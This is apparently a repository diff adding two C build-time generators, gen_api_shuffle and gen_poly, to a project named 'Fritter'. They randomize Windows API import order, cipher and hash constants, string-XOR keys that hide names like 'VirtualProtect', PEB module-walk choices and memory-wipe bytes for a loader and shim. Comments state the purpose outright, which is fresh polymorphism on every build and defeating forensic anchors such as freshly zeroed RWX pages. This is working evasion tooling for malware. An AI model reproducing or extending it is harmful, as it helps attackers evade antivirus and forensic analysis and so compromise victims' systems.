memcpy(copy, buf, len + 1);
|
||||
lines[n++] = copy;
|
||||
}
|
||||
fclose(f);
|
||||
if (n == 0) { fprintf(stderr, "gen_api_shuffle: no XAPI lines in %s\n", master_path); return 1; }
|
||||
|
||||
uint32_t seed;
|
||||
const char *env = getenv("FRITTER_BUILD_SEED");
|
||||
if (env && *env) {
|
||||
seed = (uint32_t)strtoul(env, NULL, 0);
|
||||
} else {
|
||||
uintptr_t mix = (uintptr_t)&seed;
|
||||
seed = (uint32_t)(time(NULL) ^ (mix >> 3) ^ (mix << 11));
|
||||
}
|
||||
if (seed == 0) seed = 0x5A5A5A5Au;
|
||||
|
||||
/* Mix once so api shuffle does not lock-step with gen_poly's stream */
|
||||
uint32_t s = seed ^ 0xDEADBEEFu;
|
||||
(void)xorshift32(&s);
|
||||
|
||||
/* Fisher-Yates over indices [1, n-1]. Slot 0 stays as LoadLibraryA. */
|
||||
int idx[MAX_LINES];
|
||||
for (int i = 0; i < n; i++) idx[i] = i;
|
||||
for (int i = n - 1; i >= 2; i--) {
|
||||
int j = 1 + (int)(xorshift32(&s) % (uint32_t)i); /* j in [1, i] */
|
||||
int t = idx[i]; idx[i] = idx[j]; idx[j] = t;
|
||||
}
|
||||
|
||||
FILE *o = fopen(out_path, "w");
|
||||
if (!o) { fprintf(stderr, "gen_api_shuffle: cannot open %s for writing\n", out_path); return 1; }
|
||||
fprintf(o, "/* Auto-generated by tools/gen_api_shuffle. Do not edit. */\n");
|
||||
fprintf(o, "/* Build seed: 0x%08X - slot 0 pinned as LoadLibraryA */\n", seed);
|
||||
for (int i = 0; i < n; i++) fputs(lines[idx[i]], o);
|
||||
fclose(o);
|
||||
|
||||
fprintf(stderr, "[api_shuffle] %s seed=0x%08X (%d entries, slot 0 pinned)\n",
|
||||
out_path, seed, n);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
/*
|
||||
* gen_poly - emits include/poly_seed.h with per-build randomized
|
||||
* cipher / hash constants. Run once per `make` invocation; the same
|
||||
* file is included by every CC step so loader, shim, and orchestrator
|
||||
* agree on the constants.
|
||||
*
|
||||
* Seeding:
|
||||
* FRITTER_BUILD_SEED=<u32> reproducible (use for tagged releases)
|
||||
* unset time-mixed (fresh polymorphism per make)
|
||||
*
|
||||
* Constraints:
|
||||
* cipher rotations in [3, 25] (avoids degenerate 0 / 16 / 32)
|
||||
* hash rotations in [3, 25]
|
||||
* cipher rounds even, [20, 28]
|
||||
* hash rounds odd, [27, 35]
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64)
|
||||
# include <windows.h>
|
||||
# include <process.h>
|
||||
# define GETPID() ((uint32_t)_getpid())
|
||||
#else
|
||||
# include <unistd.h>
|
||||
# define GETPID() ((uint32_t)getpid())
|
||||
#endif
|
||||
|
||||
static uint32_t xorshift32(uint32_t *s) {
|
||||
uint32_t x = *s;
|
||||
x ^= x << 13;
|
||||
x ^= x >> 17;
|
||||
x ^= x << 5;
|
||||
return *s = x;
|
||||
}
|
||||
|
||||
/* High-resolution sub-second source. clock() resolution varies across
|
||||
platforms (CLOCKS_PER_SEC) but is always available; on Windows we
|
||||
additionally fold in QueryPerformanceCounter for true sub-microsecond
|
||||
variance, on POSIX clock_gettime(CLOCK_MONOTONIC) does the same. */
|
||||
static uint64_t hires_ticks(void) {
|
||||
#if defined(_WIN32) || defined(_WIN64)
|
||||
LARGE_INTEGER li;
|
||||
if (QueryPerformanceCounter(&li)) return (uint64_t)li.QuadPart;
|
||||
return (uint64_t)clock();
|
||||
#elif defined(CLOCK_MONOTONIC)
|
||||
struct timespec ts;
|
||||
if (clock_gettime(CLOCK_MONOTONIC, &ts) == 0) {
|
||||
return ((uint64_t)ts.tv_sec << 32) ^ (uint64_t)ts.tv_nsec;
|
||||
}
|
||||
return (uint64_t)clock();
|
||||
#else
|
||||
return (uint64_t)clock();
|
||||
#endif
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
const char *out_path = (argc > 1) ? argv[1] : "include/poly_seed.h";
|
||||
uint32_t seed;
|
||||
|
||||
const char *env = getenv("FRITTER_BUILD_SEED");
|
||||
if (env && *env) {
|
||||
seed = (uint32_t)strtoul(env, NULL, 0);
|
||||
} else {
|
||||
/* Mix multiple independent entropy sources so back-to-back builds
|
||||
in the same wall-clock second still get distinct seeds:
|
||||
- time(NULL) : seconds since epoch
|
||||
- hires_ticks() : sub-second counter (QPC / monotonic ns)
|
||||
- stack address : ASLR jitter
|
||||
- process ID : differs per spawned `gen_poly` invocation
|
||||
*/
|
||||
uintptr_t stack = (uintptr_t)&seed;
|
||||
uint64_t hi = hires_ticks();
|
||||
uint32_t pid = GETPID();
|
||||
seed = (uint32_t)time(NULL);
|
||||
seed ^= (uint32_t)(hi & 0xFFFFFFFFu);
|
||||
seed ^= (uint32_t)(hi >> 32);
|
||||
seed ^= (uint32_t)(stack >> 3);
|
||||
seed ^= (uint32_t)(stack << 11);
|
||||
seed ^= pid * 2654435761u; /* Knuth multiplicative for pid spread */
|
||||
}
|
||||
if (seed == 0) seed = 0xA5A5A5A5u;
|
||||
|
||||
uint32_t s = seed;
|
||||
int r0 = 3 + (int)(xorshift32(&s) % 23u);
|
||||
int r1 = 3 + (int)(xorshift32(&s) % 23u);
|
||||
int r2 = 3 + (int)(xorshift32(&s) % 23u);
|
||||
int r3 = 3 + (int)(xorshift32(&s) % 23u);
|
||||
int r4 = 3 + (int)(xorshift32(&s) % 23u);
|
||||
int r5 = 3 + (int)(xorshift32(&s) % 23u);
|
||||
int ha = 3 + (int)(xorshift32(&s) % 23u);
|
||||
int hb = 3 + (int)(xorshift32(&s) % 23u);
|
||||
int cr = 20 + (int)(xorshift32(&s) % 5u) * 2; /* 20,22,24,26,28 */
|
||||
int hr = 27 + (int)(xorshift32(&s) % 5u) * 2; /* 27,29,31,33,35 */
|
||||
uint32_t shim_salt = xorshift32(&s); /* 32 bits of structural shim variation */
|
||||
/* String-XOR key: forced into [0x80, 0xFF] so XOR with any printable
|
||||
ASCII char (≤ 0x7E) never produces a 0 byte (which would terminate
|
||||
a scrambled string early). Applied per-char to stack-built API
|
||||
strings so literal "kernel32.dll" / "VirtualProtect" never appear
|
||||
in the shim's compiled .text or runtime stack frame. */
|
||||
uint8_t string_xor = (uint8_t)(0x80u | (xorshift32(&s) & 0x7Fu));
|
||||
/* Shim PEB-list pick: 0 = InMemoryOrderModuleList,
|
||||
1 = InInitializationOrderModuleList. Mirrors loader's 1-of-2 pick. */
|
||||
uint32_t shim_peb_pick = xorshift32(&s) & 1u;
|
||||
/* Loader wipe byte: any 8-bit value used in erase_memory's Memset.
|
||||
Defeats the "zeroed page near decoded shim" forensic anchor. */
|
||||
uint8_t loader_wipe = (uint8_t)(xorshift32(&s) & 0xFFu);
|
||||
/* Loader PEB walk direction: 0 = Flink (forward), 1 = Blink (reverse).
|
||||
Both directions traverse the full doubly-linked module list. */
|
||||
uint32_t loader_peb_dir = xorshift32(&s) & 1u;
|
||||
/* Loader 32-bit poly salt - drives #if-gated XOR-cancel sites in
|
||||
MainProc / FritterLoader, parallel to SHIM_POLY_SALT. */
|
||||
uint32_t loader_salt = xorshift32(&s);
|
||||
/* Shim cleanup wipe byte - used for both the loader-page wipe and
|
||||
the g_ctx scrub. Any 8-bit value; if 0, behavior matches original
|
||||
zero-fill cleanup. Defeats the "freshly-zeroed RWX pages + zeroed
|
||||
VEH_CTX struct" forensic fingerprint when non-zero. */
|
||||
uint8_t shim_wipe = (uint8_t)(xorshift32(&s) & 0xFFu);
|
||||
|
||||
FILE *f = fopen(out_path, "w");
|
||||
if (!f) {
|
||||
fprintf(stderr, "gen_poly: cannot open %s for writing\n", out_path);
|
||||
return 1;
|
||||
}
|
||||
fprintf(f, "/* Auto-generated by tools/gen_poly. Do not edit. */\n");
|
||||
fprintf(f, "/* Build seed: 0x%08X */\n", seed);
|
||||
fprintf(f, "#ifndef POLY_SEED_H\n");
|
||||
fprintf(f, "#define POLY_SEED_H\n");
|
||||
fprintf(f, "#define CIPHER_R0 %d\n", r0);
|
||||
fprintf(f, "#define CIPHER_R1 %d\n", r1);
|
||||
fprintf(f, "#define CIPHER_R2 %d\n", r2);
|
||||
fprintf(f, "#define CIPHER_R3 %d\n", r3);
|
||||
fprintf(f, "#define CIPHER_R4 %d\n", r4);
|
||||
fprintf(f, "#define CIPHER_R5 %d\n", r5);
|
||||
fprintf(f, "#define CIPHER_ROUNDS %d\n", cr);
|
||||
fprintf(f, "#define HASH_ROT_A %d\n", ha);
|
||||
fprintf(f, "#define HASH_ROT_B %d\n", hb);
|
||||
fprintf(f, "#define HASH_ROUNDS %d\n", hr);
|
||||
fprintf(f, "#define SHIM_POLY_SALT 0x%08Xu\n", shim_salt);
|
||||
fprintf(f, "#define SHIM_STRING_XOR 0x%02Xu\n", string_xor);
|
||||
fprintf(f, "#define SHIM_PEB_PICK %u\n", shim_peb_pick);
|
||||
fprintf(f, "#define LOADER_WIPE_BYTE 0x%02Xu\n", loader_wipe);
|
||||
fprintf(f, "#define LOADER_PEB_DIR %u\n", loader_peb_dir);
|
||||
fprintf(f, "#define LOADER_POLY_SALT 0x%08Xu\n", loader_salt);
|
||||
fprintf(f, "#define SHIM_WIPE_BYTE 0x%02Xu\n", shim_wipe);
|
||||
fprintf(f, "#endif\n");
|
||||
fclose(f);
|
||||
|
||||
fprintf(stderr,
|
||||
"[poly] %s seed=0x%08X cipher=R%d/%d/%d/%d/%d/%d rounds=%d hash=A%d/B%d rounds=%d "
|
||||
"shim_salt=0x%08X string_xor=0x%02X peb_pick=%u "
|
||||
"loader_wipe=0x%02X loader_peb_dir=%u loader_salt=0x%08X shim_wipe=0x%02X\n",
|
||||
out_path, seed, r0, r1, r2, r3, r4, r5, cr, ha, hb, hr,
|
||||
shim_salt, string_xor, shim_peb_pick,
|
||||
loader_wipe, loader_peb_dir, loader_salt, shim_wipe);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user